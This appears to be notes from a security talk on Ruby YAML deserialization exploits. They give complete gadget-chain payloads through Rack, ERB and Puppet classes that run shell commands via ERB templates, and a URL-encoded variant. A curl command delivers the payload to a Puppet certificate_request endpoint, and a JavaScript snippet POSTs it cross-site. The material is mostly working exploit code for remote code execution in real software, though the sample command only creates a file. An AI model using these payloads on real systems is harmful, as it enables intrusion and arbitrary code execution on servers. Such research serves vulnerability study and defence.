Chain objects instead of gadgets
Create chains using deserialization
Create chains using sandboxed code
<title type="yaml">--- !ruby/object:HTML::Tag
attributes: []
children: !ruby/object:Rack::Response
header: {}
block: !ruby/object:Rack::ShowStatus
app: !ruby/object:Rack::Cascade
apps: []
template: !ruby/object:ERB
src: system("touch /tmp/owned")
length: 0
body: []
</title>
class Tag
def to_s
if @closing == :close
"</#{@name}>"
else
#...
@children.each { |child| s << child.to_s }
#...
end
end
end
class Response
def each(&callback)
@body.each(&callback)
@writer = callback
@block.call(self) if @block
end
end
class ShowStatus
def call(env)
status, headers, body = @app.call(env)
headers = Utils::HeaderHash.new(headers)
empty = headers['Content-Length'].to_i <= 0
if (status.to_i >= 400 && empty) || env["rack.showstatus.detail"]
#...
body = @template.result(binding)
#...
else
[status, headers, body]
end
end
end
--- !ruby/object%3aHTML%3a%3aTag
attributes: []
children: !ruby/object%3aRack%3a%3aResponse
header: {}
block: !ruby/object%3aRack%3a%3aShowStatus
app: !ruby/object%3aRack%3a%3aCascade
apps: []
template: !ruby/object%3aERB
src: system("touch /tmp/owned")
length: 0
body: []
--- !ruby/object:Puppet::SSL::CertificateRequest
content: !ruby/object:Puppet::Parser::TemplateWrapper
"__scope__": !ruby/object:Puppet::Parser::Scope
symtable:
to_pem: !ruby/object:Puppet::Parser::AST::Concat
value: !ruby/object:Puppet::Settings
config: !ruby/object:Rack::Response
header: {}
block: !ruby/object:Rack::ShowStatus
app: !ruby/object:Rack::Cascade
apps: []
template: !ruby/object:ERB
src: "system('touch /tmp/ownzor')"
body: []
ephemeral: []
name: rce
curl -v -k -X PUT -H "Content-Type: text/yaml" -H "Accept: s" --data-binary @rce.yaml "http://localhost:3000/production/certificate_request/rce"
https://gist.github.com/benmmurphy/c6a4d97ecf9dc41bd6d9
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://puppethost");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("content=---+%21ruby%2Fobject%3....");